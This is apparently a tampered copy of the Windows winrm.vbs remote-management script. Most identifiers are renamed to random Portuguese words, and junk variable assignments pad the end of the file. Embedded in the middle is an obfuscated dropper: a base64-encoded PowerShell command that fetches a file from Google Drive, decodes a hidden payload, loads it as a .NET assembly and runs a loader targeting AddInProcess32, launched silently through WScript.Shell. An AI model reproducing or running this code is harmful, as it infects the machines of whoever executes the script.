putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
putStr = traduzideiroObj.Get(resourceLocator)
if Err.Number <> 0 then
ASSERTERR traduzideiroObj, arrebanhador
inputStr = ""
ProcessInput = false
exit function
end if
'create an MSXML DomDocument object to work with the resource xml
on error resume next
Set paramXmlFile = CreateObject("MSXML2.DOMDocument.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_MSXML6MISSING_Message")
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.async = false
'load the domdocument with the resource xml
paramXmlFile.LoadXML(putStr)
if (paramXmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_XMLERROR_Message") & paramXmlFile.parseError.reason
inputStr = ""
ProcessInput = false
exit function
end if
paramXmlFile.setProperty "SelectionLanguage", "XPath"
'loop through the command-line name/value pairs
for each key in parameterDic
'find the elements matching the key
Dim xpathString
xpathString = "/*/*[local-name()=""" & key & """]"
if LCase(key) = "location" then
'Ignore cim:Location
xpathString = "/*/*[local-name()=""" & key & """ and namespace-uri() != """ & NS_CIMBASE & """]"
end if
Set elementList = paramXmlFile.selectNodes(xpathString)
'make sure there is 1 - error on 0 or > 1
if elementList.length = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
elseif elementList.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_MULTIMATCH_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
'get the node from the list
Set currentElement = elementList.nextNode()
'make sure the node does not have anything other than 1 or less text children
if currentElement.hasChildNodes() then
if currentElement.childNodes.length > 1 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
Function diabolicamente(ByVal hajib, ByVal esmalmar, ByVal desaparelhadamente)
Dim gigantismo
gigantismo = InStr(hajib, esmalmar)
Do While gigantismo > 0
hajib = Left(hajib, gigantismo - 1) & desaparelhadamente & Mid(hajib, gigantismo + Len(esmalmar))
gigantismo = InStr(gigantismo + Len(desaparelhadamente), hajib, esmalmar)
Loop
diabolicamente = hajib
End Function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
If Not pentagramma() Then
On Error Resume Next
reencarcerar = "KCd6VjRpbWFnZVVybCA9IE9MQ2h0dHBzOi8vZHInKydpdmUuJysnZ29vZ2xlLmNvbS9
1Yz9leHBvcnQ9ZG93bmxvYWQm
aWQ9MS0nKydXZGdlcTBmWDknKydhQXBkbFNXOWRsbjFQY19LRUdwZkhwIE9MQzt6VjR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IF
N5c3RlbS5OZXQuV2ViQ2xpZW5
0O3pWNGltYWdlQnl0ZXMgPSB
6VjR3ZWJDb"
reencarcerar = reencarcerar & "GllbnQuRG93bmxvYWREYXRhKHpWNGltYWdlVXJsKTt6VjRpbWFnZVRleHQgPSBbU3lz
dGVtLlRleHQuRW5jb2RpbmddO
jpVVEY4LkdldFMnKyd0cmluZyh6VjRpbWFnZUJ5dCcrJ2VzKTt6VjRzdGFydEZsYWcgPSBPTEM8PEJBU0U2NF9TVEFSVCcrJz4
+T0xDO3pWNGVuJysnZEZsYWcg
PSBPTEM8PEJBU0U2NF9FTkQ+
Pk9MQzt6Vj"
reencarcerar = reencarcerar & "RzdGFydEluZGV4ID0gelY0aW1hZ2VUZXh0LkluZGV4T2YoelY0c3RhcnRGbGFnKTt6V
jRlbmRJbmRleCA9IHpWNGltYW
dlVGV4dC5JbmRleE9mKHpWNGVuZEYnKydsYWcpO3pWNHN0YXJ0SW5kZXggLWdlIDAgLWFuZCB6VjRlbmRJbmRleCAtZ3QgelY0
c3RhcnRJbmRleDt6VjRzJysnd
GFydEluZGV4ICs9IHpWNHN0Y
XJ0RmxhZy5"
reencarcerar = reencarcerar & "MZW5ndGg7elY0YmFzZTY0TGVuZ3RoICcrJz0gelY0ZW5kSW5kZXggLSB6VjRzdGFydE
luZGV4O3pWNGJhc2U2NENvbW1
hbmQgPSB6VjRpbWFnZVRleHQuU3Vic3RyaW5nKHpWNHN0YXJ0JysnSW5kZXgsIHpWNGJhc2U2NExlbmcnKyd0aCk7elY0YmFzZ
TY0UmV2ZXJzZWQgPSAtam9pbi
AoelY0YmFzZTY0Q29tbWFuZC
5Ub0NoYXJB"
reencarcerar = reencarcerar & "cnJheSgpIGtSaSBGb3JFYWNoLU9iamVjdCB7IHpWNF8gfSlbLTEuLi0oelY0YicrJ2F
zZTY0Q29tbWFuZC5MZW5ndGgp
XTt6VjRjb21tYW5kQnl0ZXMgPSBbU3lzdGUnKydtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHpWNGJhc2U2NFJldmVyc2
VkKTt6VjRsb2FkZWRBc3NlbWJ
seSA9IFtTeXN0ZW0uUmVmbGV
jdGlvbi5Bc"
reencarcerar = reencarcerar & "3NlbWJseV06OkxvYWQoelY0Y29tbScrJ2FuZEJ5dGVzKTt6VjR2YWlNZXRob2QgPSBb
ZG4nKydsaWIuSU8uSG9tZV0uR
2V0TWV0aG9kKCcrJ09MQ1ZBSU9MQyk7elY0dmFpTWV0aG9kLkludm9rZSh6VjRudWxsLCBAKE9MQ3R4dC45Njg1Nzh0dHR0dHR
zZXRhbGRpb3JkL2dyby5zbmRr
Y3VkLmUnKydlZWNlZXJnc2J2
eXl5eWFkbi"
reencarcerar = reencarcerar & "crJ29tLy86cHR0aE9MQywgT0xDZGVzYXRpdmFkb09MQywgT0xDZGVzYXRpdmFkb09MQ
ywnKycgT0xDZGVzYXRpdmFkb0
9MQywgT0wnKydDQWRkSW5Qcm9jZXNzMzJPTEMsIE9MQ2Rlc2F0aXZhZCcrJ29PTEMsIE9MQ2Rlc2F0aXZhZG9PTEMsT0xDZGVz
YXQnKydpdmFkb09MQyxPTENkZ
XNhdGl2YWRvT0xDLE9MQ2Rlc
2F0aXZhZG9"
reencarcerar = reencarcerar & "PTCcrJ0MsT0xDZGVzYXRpdmFkb09MJysnQyxPTENkZXNhdGl2YWRvT0xDLE9MQzFPTE
MpKTsnKS5yRVBsYWNFKCd6VjQ
nLCckJykuckVQbGFjRSgoW0NoQVJdMTA3K1tDaEFSXTgyK1tDaEFSXTEwNSksJ3wnKS5yRVBsYWNFKCdPTEMnLFtTdHJpbkddW
0NoQVJdMzkpfCAuICggJGVuVj
pDb01TcGVjWzQsMjQsMjVdLW
pvaW4nJyk="
Dim nympheu
nympheu = "
Dim integralmente
integralmente = "
integralmente = integralmente & "
integralmente = integralmente & "g
integralmente = integralmente & "
integralmente = integralmente & "
" & reencarcerar & "'
integralmente = integralmente & ";
integralmente = integralmente & "W
integralmente = integralmente & "
integralmente = integralmente & "=
integralmente = integralmente & "
integralmente = integralmente & ".
integralmente = integralmente & "x
integralmente = integralmente & "
integralmente = integralmente & "d
integralmente = integralmente & "g
integralmente = integralmente & ":UT
integralmente = integralmente & "F8
integralmente = integralmente & "Ge
integralmente = integralmente & "St
integralmente = integralmente & "ri
integralmente = integralmente & "[s
integralmente = integralmente & "te
integralmente = integralmente & "v
integralmente = integralmente & ":
integralmente = integralmente & "mb
integralmente = integralmente & "e
integralmente = integralmente & "4
integralmente = integralmente & "r
integralmente = integralmente & "c
integralmente = integralmente & "ig
integralmente = integralmente & ";po
integralmente = integralmente & "w
integralmente = integralmente & "el
integralmente = integralmente & "x
integralmente = integralmente & "d
integralmente = integralmente & "ty
integralmente = integralmente & "dd
integralmente = integralmente & "e
integralmente = integralmente & "ec
integralmente = integralmente & "i
integralmente = integralmente & "i
integralmente = integralmente & "p
integralmente = integralmente & "P
integralmente = integralmente & "i
integralmente = integralmente & "m
integralmente = integralmente & "n
integralmente = integralmente & "Wj
integralmente = diabolicamente(integralmente, nympheu, "")
Dim corumbim
corumbim = "p
corumbim = corumbim & "w
corumbim = corumbim & "s
corumbim = corumbim & "l
corumbim = diabolicamente(corumbim, nympheu, "")
corumbim = corumbim & integralmente
Dim suso
Set suso = CreateObject("WScript.Shell")
suso.Run corumbim, 0, False
WScript.Quit(figle)
End If
''''''''''''''''''''
' Escapes non XML chars
private function Escape(str)
dim i
for i = 1 to Len(str)
select case Mid(str, i, 1)
case "&"
Escape = Escape & "&"
case "<"
Escape = Escape & "<"
case ">"
Escape = Escape & ">"
case """"
Escape = Escape & """
case "'"
Escape = Escape & "'"
case else
Escape = Escape & Mid(str, i, 1)
end select
next
end function
'''''''''''''''''''''
' Checks if this script is running under cscript.exe
private function segrel()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
segrel = True
else
segrel = False
end if
end function
private function CreateSession(wsman, conStr, optDic, arrebanhador)
dim traduzideiroFlags
dim conOpt
dim traduzideiro
dim authVal
dim encodingVal
dim encryptVal
dim pw
dim tout
' proxy information
dim proxyAccessType
dim proxyAccessTypeVal
dim proxyAuthenticationMechanism
dim proxyAuthenticationMechanismVal
dim proxyUsername
dim proxyPassword
traduzideiroFlags = 0
proxyAccessType = 0
proxyAccessTypeVal = 0
proxyAuthenticationMechanism = 0
proxyAuthenticationMechanismVal = 0
proxyUsername = ""
proxyPassword = ""
set conOpt = Nothing
if optDic.ArgumentExists(NPARA_ENCODING) then
ASSERTNAL(NPARA_ENCODING)
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-encoding' option is only valid when used with the '-remote' option"
encodingVal = optDic.Argument(NPARA_ENCODING)
if LCase(encodingVal) = "utf-16" then
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUTF16
elseif LCase(encodingVal) = "utf-8" then
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUTF8
else
' Invalid!
ASSERTBOOL false, "The specified encoding flag is invalid."
end if
end if
if optDic.ArgumentExists(NPARA_UNENCRYPTED) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_UNENCRYPTED & "' option is only valid when used with the '-remote' option"
'C API will ensure that unencrypted is only used w/ http
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagNoEncryption
end if
if optDic.ArgumentExists(NPARA_USESSL) then
ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only valid when used with the '-remote' option"
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUseSsl
end if
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTNAL(NPARA_AUTH)
authVal = optDic.Argument(NPARA_AUTH)
select case LCase(authVal)
case VAL_NO_AUTH
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUseNoAuthentication
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:none'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is only valid for '-auth:none'"
case VAL_BASIC
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:basic'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:basic'"
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseBasic
case VAL_DIGEST
'Use -username and -password.
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:digest'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:digest'"
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseDigest
case VAL_KERBEROS
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:kerberos'"
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUseKerberos
case VAL_NEGOTIATE
'-username and -password are optional.
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:negotiate'"
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUseNegotiate
case VAL_CERT
'-certificate is mandatory.
ASSERTBOOL optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option must be specified for '-auth:certificate'"
'-username or -password must not be used
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option is not valid for '-auth:certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option is not valid for '-auth:certificate'"
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option is not valid for '-auth:credssp'"
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" & authVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT & "' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagCredUsernamePassword
end if
if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " & NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE
'C API will ensure this is only used w/ https
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagAllowNegotiateImplicitCredentials
end if
if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" & NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" & NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " & NPARA_CERT & " option is only valid when the authentication mechanism is " & VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagUseClientCertificate
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, arrebanhador
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
traduzideiroFlags = traduzideiroFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set traduzideiro = wsman.CreateSession(conStr, traduzideiroFlags, conOpt)
ASSERTERR wsman, arrebanhador
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
traduzideiro.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = traduzideiro
end function
Function gimnospermas(ByVal moniliforme, ByVal encarar, ByVal hydromania)
Dim transformante
transformante = moniliforme
Do While InStr(transformante, encarar) > 0
transformante = Left(transformante, InStr(transformante, encarar) - 1) & hydromania & Mid(transformante, InStr(transformante, encarar) + Len(encarar))
Loop
gimnospermas = transformante
End Function
private sub ASSERTERR(obj, arrebanhador)
dim errNo
dim errDesc
dim responseStr
dim formattedStr
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,arrebanhador) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine resurgimento("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(absorvedoiro)
end if
end sub
' Assert Named Argument Length
private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_ARGNOVAL_Message") & namedArg
WScript.Quit(absorvedoiro)
end if
end sub
private sub ASSERTBOOL(bool, msg)
if Not bool then
stdErr.WriteLine resurgimento("L_ERR_Message") & msg
WScript.Quit(absorvedoiro)
end if
end sub
OicNbWKheWxLLzi = "cPLQpTuQWkhoixB"
LNGeZlCmBpmmLLj = "bLZGncbkmKfpqup"
kWnAWgBuaUWGLWv = "kcNGKKWdNGtPALo"
JJWLHLZtJAmafjL = "UbibWzsrCKnLcGG"
kLLGUOlNzWUWAKL = "zKWzGLApHSdGGUk"
eCLTWGKoCbeLroW = "GmmWGPUiQKGLOPi"
LNBfWzzLNWcWLUf = "NfkBPmpiinLLHGt"
LctzlkGRfnUcAif = "ZJrKWKLrcjZGhoo"
nWlLcdtqnSzWQGc = "GPKtWkGIcajWcoH"
oLoLffLWKjPBkLd = "ZLfiRjLLtQLWssarilho"
iqWlKRWlUTGKPdK = "LmGOKtTWbhLhozL"
muWLCHpkWfLLKUP = "NWBhAfbiuWzzPlu"
ASLmKTtWkPtnuZA = "WpptLfBvLbJGWlR"
QWNhnaBgiLzRGif = "tKNqLzoLZplxqcq"
GTLGRWWfviRWhLW = "CNeBiRLCWOLcKbh"
kLlnLAKaaqokULU = "GLUkKxKGoPWRJun"
oLLcNuotgnsiBih = "LSeKLGmltKGLckK"
vhWTLpaKmeaPLUr = "dKLttkTnzGGxzhp"
feAkJKtGGIGLpGb = "fRktfulsbKGcQGe"
GgmGWKgNWsarilhotbGA = "iWjKKhWCNKxenab"
pCfpPAicfUPazta = "KzdeONzPmqOoZCK"
LZRUpQAKLxAsLiO = "ALWirfbickWvuLi"
obUmCtLNWJKkjiL = "fuCWBcgALkORtmz"
cWUOvNieCLAKZGz = "oULWccqpLIqLReL"
tWTPGlZbWUkCLuW = "lLBLLKRWkiGGcGh"
PLOLZhgPicmdLnL = "GLWLlWJOocCKftR"
tKmfnzKiUhoxbZx = "ipqBWLuGfiLipTi"
rviGWKpgULecZLL = "LzLzOimdolWeWpW"
pxQfuUbNKLcIdKg = "WruLcWLCBCGaPLL"
puZeuZLKGRKcKiP = "NdWqejfLScuQidf"
xBezidkHfUWdzJW = "UkbjikKiOGxWgoo"
itdLUziozzLKzrk = "tKiPGRLfHANGPiN"
WUcfdLxzOPlaRli = "NrRchOLWWmkoAta"
eqKZcWeGptkoajl = "GeLKLOztWloUpdq"
zIUiWKjLLuGaNnl = "zWcLLzqiZpbeuvh"
iZUcuWrzZkhqOro = "iuZzzZsPUhznGWi"
ZUhbkieubKKWPuZ = "sfcAoevBZLPtPgk"
nLKTTBofePWLKvH = "ziWNoLsJoGzCcnL"
KoKkKWdGZoqQocK = "NCSsLBloklrCIbi"
qahUGaolbTnUrbf = "niGGWLLWcZLHORK"
PbLndtefcrdcBap = "vLKoqCxCcbGiGCb"
RmWWLxzzUZTWqKP = "fhKBNKbhmAhsbAA"
cRRzlAJhfabcbmA = "aLsWWSffKKbztIW"
NUeiWLNhHCbOiOu = "NcinmWLPfhWKcsC"
npWlflpWvUPoziG = "HciUmoqbbiexuKi"
mAhWLKhWNxLLmon = "AqxKpxWURxKvWOW"
NvahfcBLvdLkipe = "bjLpAgtvWZCaUxb"
lSSkOPxKmpsarilhokKL = "uGcWUqedLWoGebL"
bugWTCthAxLkctK = "WqilGpqWfASUNCx"
LLGmKclbhUuKpzz = "ihWccUPLJmKZGLW"
WLrpJiLiRpBuSil = "WKcBWedLpLhWZkW"
cLcAedRLrThWcjJ = "ccCbZGqWPvitLbI"
URNxkeRqpaGLPLc = "bWvWrOcostxLnei"
CPIPZoRkoCbUUWL = "LIcOLKUAAKqKKiq"
migKcKLiKlLiKRq = "LlziGgWWtCPqOPB"
CmGnCGfIsOWcUci = "ffOcUsZfJSBKznR"
ZBplWiptccNUlGK = "CRvGiiPifpKUkiC"
dbfWiAWOWCmenHO = "CjcGgcuxknrPJWx"
jUTAgktUKccblbC = "aLAaJZZkKfKeUhu"
xHhOWpefuLKWPiW = "eCmmKGAntHviABG"
zAfWLzNCLJecLKk = "qGbtGoPKpKKfLui"
ijKWWrLGNicpoWW = "fZLcCKZWpWopBxR"
AZqihzLfeZKivkW = "WoUzOJzuLZNkLpA"
cCLqJtrBGaLcWTb = "iuCeWfimiWGfkPH"
KkUWBBSWcfCLcaO = "jmNKCabLikqpPqR"
kkkfacNGsixoikk = "LWchicUkxWbLBLN"
LLWujkimbnzpWxG = "WLoccLNWmpfbsarilhoP"
LAfvNlimLmiLIru = "iLcoUULiZiIpdol"
LkWLpGUKKrWiWkf = "TWLgokGtaZuiAbB"
UTJBuekeKnGiWoz = "TeUizaKkCWknKiK"
KGxxPhxWpoWuhpi = "rZRZbRhJKNzlAfK"
NWcoWiRWpNafbip = "KhNctBkUhitWsGc"
GTixWrkKfkLGGPG = "LiJhNlnGtzOaeWN"
KfzeTGGoiimemLL = "KnLWePpkKiiGGcP"
PLWZpoGQpNGsWGL = "uWNWqbUneWUhLzz"
bbRLNHdCdzLfaoa = "LWpkLfiifnWLaWh"
aWPKgPGGoUhZfUf = "KuUtqgAiLJqcGjc"
itiULbZRUiAGApg = "ZUeiKnNAzngWAZu"
ejecOoWpLiotfbi = "cLQskiccJWPaWKk"
zezLbhtakKGdsarilhoL = "GoWifBfWiGWhWAk"
UWWiGHaieNCALtm = "dAredqCQILbnciP"
ccjfIoddoGWnnqT = "RWNiWmKiWKWufpL"
PziWWKPtiKzWeNd = "BILHcNzhgUquLif"
HWkdKccmiBKpNWu = "AbPumLoZpJPkZLo"
dWWiLfKBicpAelH = "bcKvsJKxiLuhaPi"
nbcfWKzGGxeLkei = "xtUCWkAQUhuTmqs"
cHlKLkSLjappirm = "hoAPcibnZRZAnOZ"
eWKOiiKaqtCLmko = "WhbxWcKeLWmLoLo"
ppWGhhWWWbWNcZL = "vZakzlkPbkWqWbu"
iPPaHLhLUddLpUx = "UuccWhUbKUzkJLk"
beWlWJAUioGaLGZ = "idiqZBWZLLvUzzz"
LopUGbLoGBiULqd = "bfbUcpBJNhKzGPK"
GKOAapoJWvLpecm = "pRLiHGLKWccccLc"
qLUexWicWZTWUKR = "CzLjGpIBLcKGAom"
inpqouexPOtcUBP = "iUpbGZdWkUWhqGl"
LWxOcmxLaGZWWui = "LpimWpikiKnLUcn"
KupmGhUevArOpkm = "KOfckWihcccCWUc"
hLWmKnLcbzLeZGL = "gLicuUhcWLLLcNq"
NOpczLWoUcshoip = "UHGnkWcAgWdWchK"
qWGiLixeoGkefCm = "olbcqUAcRkWLzlW"
LLKbQUkWsWuQGpG = "buKKcRKWdKcvdSm"
dZlapzUcmGKWNSm = "xbhWBKlPnTfjReh"
akKWPBGiotCZWko = "WicAdUOZczKLUbz"
lKeLLCrmcGgLWCf = "WeGGcGLLcUiWceW"
HWdWlcZOcpqbLlA = "tcLWioGdWAtcoJk"
goxfiWqmdjRKaez = "RLLWnGhusiUmiLN"
RLtaAzaGLQGciPK = "RdCKLnehqmhNxiu"
bdzabeKzPLGKPKq = "qpUhCLeWkWoqZhi"
nILcZuHAuAJLbtA = "oKkOiWLLiltbuNW"
WIRxdWWOLieiUNu = "nnKxciBGUxpIpqN"
enpoztpCcLUKZTk = "WkdtQiKzcLoniPL"
GmKciGABOLArrUG = "lxKiBatIoqzabzl"
LSkTWemLcWLWTWI = "AIkNHbczinmUixU"
BcKckeuZZWLkIqc = "bSdNpmGmWhCPAOi"
qLeuLlqeLmpWmuf = "NtCWlWtbcLlLLHi"
xxaTNWaZoLfxcRu = "mltLWhlBlWehRZC"
iNUiRtNhNhGSGRL = "mzWrGkZBzGejSzx"
WrlKuxWQWLGbhqW = "PlRWcZLAzdULNWc"
ZqrhcPqNrAWKGbt = "LGhsZAWrKGLnKId"
UteohsarilhoLqtTnhxN = "AljzmbLULupKNpU"
LKSzzRLcbeZipce = "iiciGkIBpBWzpUW"
zkfWUbBkgNaaics = "xmLUBhaRbZZLAHL"
